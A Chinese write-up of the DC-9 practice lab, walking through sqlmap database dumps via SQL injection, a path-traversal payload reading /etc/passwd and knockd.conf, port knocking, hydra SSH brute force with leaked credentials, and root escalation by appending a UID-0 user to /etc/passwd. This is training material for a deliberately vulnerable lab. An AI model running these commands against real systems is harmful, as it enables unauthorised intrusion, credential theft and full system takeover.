• DC-9靶场下载及渗透实战详细过程(DC靶场系列)


    目录

    一. 信息收集

    1. 主机扫描

    2. 端口扫描

    3. 目录扫描

    4. 页面探测

    二. 渗透过程

    1. SQL注入

    2. 登入后台

    3. 端口敲门服务

    4. ssh爆破

    5. 提权

    三. 收获总结

    1. openssl命令

    2. Linux系统下的引号


     DC-9靶场下载地址https://www.five86.com/downloads/DC-9.zip

    一. 信息收集

    1. 主机扫描

    2. 端口扫描

    注意到ssh服务端口是filtered的,可能是什么原因给关掉了

    3. 目录扫描

    dirsearch -u 192.168.120.144 -e * -x 403 --random-agent

    4. 页面探测

    测试发现,Search页面搜索存在SQL注入

    二. 渗透过程

    1. SQL注入

    知道注入点,接下来上sqlmap跑,POST传参search,爆库

    sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --current-db

    爆表

    sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -tables

    爆字段

    sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -columns

    爆值

    sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'Username,Password,UserID' -dump

    只有一位用户,还有密码,这密码一看就是md5,接下来找个在线网站解密md5在线加密解密

    得到密码transorbital1

    2. 登入后台

    接着用该密码登入后台

    就多了个Add Record界面,注意到下面有File does not exist,考虑存在文件包含,接着用参数fuzz测试一下,fuzz字典连接web渗透通用fuzz字典(小而精)

    burpsuite抓包,构建payload

    ?§§=../../../../../etc/passwd

    然后再把我们的参数字典加载进来

    参数名是file,存在文件包含漏洞

    3. 端口敲门服务

    考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件

    构造payload

    /addrecord.php?file=../../../../../etc/knockd.conf

    果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击

    nc -z 192.168.120.144 7469 8475 9842

    敲击完后发现端口打开了

    4. ssh爆破

    无奈测试了一下admin登不上去,想起之前SQLmap跑出过一个users的数据库

     存放网站用户信息的,我们去瞧一下

    sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump

    用这些账号密码组成字典,爆破ssh

    username.txt

    1. marym
    2. julied
    3. fredf
    4. barneyr
    5. tomc
    6. jerrym
    7. wilmaf
    8. bettyr
    9. chandlerb
    10. joeyt
    11. rachelg
    12. rossg
    13. monicag
    14. phoebeb
    15. scoots
    16. janitor
    17. janitor2

    password.txt

    1. 3kfs86sfd
    2. 468sfdfsd2
    3. 4sfd87sfd1
    4. RocksOff
    5. TC&TheBoyz
    6. B8m#48sd
    7. Pebbles
    8. BamBam01
    9. UrAG0D!
    10. Passw0rd
    11. yN72#dsd
    12. ILoveRachel
    13. 3248dsds7s
    14. smellycats
    15. YR3BVxxxw87
    16. Ilovepeepee
    17. Hawaii-Five-0

    接下来用九头蛇进行爆破

    hydra -L username.txt -P password.txt ssh://192.168.120.144

    爆破出了三个用户

    1. chandlerb:UrAG0D!
    2. joeyt:Passw0rd
    3. janitor:Ilovepeepee

    尝试登入发现janitor用户有东西

    1. ls -la
    2. cd .s*
    3. cat *

    有几个密码,复制到刚才的password文件继续爆破ssh

    password.txt

    1. BamBam01
    2. Passw0rd
    3. smellycats
    4. P0Lic#10-4
    5. B4-Tru3-001
    6. 4uGU5T-NiGHts

    爆破出了一个新用户

    fredf:B4-Tru3-001

    发现有个root权限文件

    5. 提权

    test文件打开是一堆乱码,应该是一个程序

    在上两级目录发现test.py文件还有test.spec文件,所以后面目录下的test程序应该就是根据test.py文件写的(额,可以理解为C语言写的一个exe程序吧!?),我们打开文件看一下test程序是干嘛的

    1. #!/usr/bin/python
    2. import sys
    3. if len (sys.argv) != 3 :
    4. print ("Usage: python test.py read append")
    5. sys.exit (1)
    6. else :
    7. f = open(sys.argv[1], "r")
    8. output = (f.read())
    9. f = open(sys.argv[2], "a")
    10. f.write(output)
    11. f.close()

    该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py a.txt b.txt,就会将a.txt的文件内容保存到b.txt里面

    我们可以根据任意文件写入的操作,去新添加一个root权限的用户,达到提权的效果,跟DC-4靶场一样的操作,只不过得添加一个有密码的用户,事先参考/etc/passwd解释

    先利用openssl命令创建一个密码

    openssl passwd -1 -salt <用户名> <密码>

    openssl passwd -1 -salt hack hack

    得到hash密码,$1$hack$xR6zsfvpez/t8teGRRSNr.

    接着到tmp目录新建一个文件

    1. cd /tmp
    2. echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > hack

     再回到/opt/devstuff/dist/test目录,执行程序test,将hack的文件内容写入到/etc/passwd文件里面

    1. cd /opt/devstuff/dist/test
    2. sudo ./test /tmp/hack /etc/passwd

    可以看到hack用户已经添加到/etc/passwd文件里了,接下来切换用户

    su hack

    输入密码hack 

    在root目录下找到flag

    三. 收获总结

    1. openssl命令

    openssl是个密文生成器, 参考openssl命令详解,如生成Linux系统的密文可以用命令

    openssl passwd -1 -salt <用户名> <密码>

    2. Linux系统下的引号

    单引号会自动对字符进行转义,双引号不会对字符进行转义,不明白很容易就吃了echo的亏,参考Linux系统下的引号

  • 相关阅读:
    (C语言进阶)笔试题详解
    Kafka(一)
    Python统计学10——时间序列分析自回归模型(ARIMA)
    Java | 生产者和消费者模型
    SVM-支持向量机实验分析(软硬间隔,线性核,高斯核)
    Anaconda的安装
    代码随想录-026-15.三数之和
    买口罩(0-1背包)
    上周热点回顾(10.16-10.22)
    ES6 模块化
  • 原文地址:https://blog.csdn.net/l2872253606/article/details/126062459